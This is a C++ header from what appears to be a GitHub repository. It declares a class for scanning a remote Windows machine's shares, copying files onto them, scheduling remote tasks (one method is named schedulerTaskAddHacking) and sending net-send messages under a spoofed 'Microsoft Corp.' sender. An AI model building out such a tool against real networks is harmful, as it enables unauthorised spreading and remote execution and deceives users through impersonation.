-
Notifications
You must be signed in to change notification settings - Fork 9
/
Computer.h
42 lines (33 loc) · 1.54 KB
/
Computer.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <windows.h>
#include <lm.h>
#include "NetBios.h"
#define MAX_MAPPING_SHARES 26
#define SOURCE_NET_SEND "Microsoft Corp."
#pragma once
class Computer {
private:
char * computerName;
char * IPAddress;
NetBios * resourceShares;
public:
Computer(char * IP, bool autoScanShares = true);
Computer(char * name, char * IP, bool autoScanShares = true);
~Computer() { delete [] computerName; delete[] IPAddress; delete[] resourceShares; }
bool schedulerTaskAdd(const char * time, int daysWeek, const char * command, bool interactive = true);
bool schedulerTaskAddHacking(const char * time, int daysWeek, const char * fileSourcePath, const char * filename, bool interactive = true);
bool schedulerTaskAdd(const char * time, char * daysMonth, const char * command, bool interactive = true);
bool sendMessage(const char * destiny, const char * messageText);
bool copyFileToSharesFolder(const char * strFilename, const char * strFilenameDestiny = NULL);
bool copyFileToSharesMappingFolder(const char * strFilename);
char * time();
void scanResourceShares();
void setComputerName(char * name);
PSHARE_INFO_1 * getSharePrintersList();
PSHARE_INFO_1 * getShareFoldersList();
PSHARE_INFO_1 * getShareSpecialFoldersList();
char * getComputerName() { return computerName; }
char * getIPAddress() { return IPAddress; }
long getNumPrinters();
long getNumFolders();
long getNumSpecialFolders();
};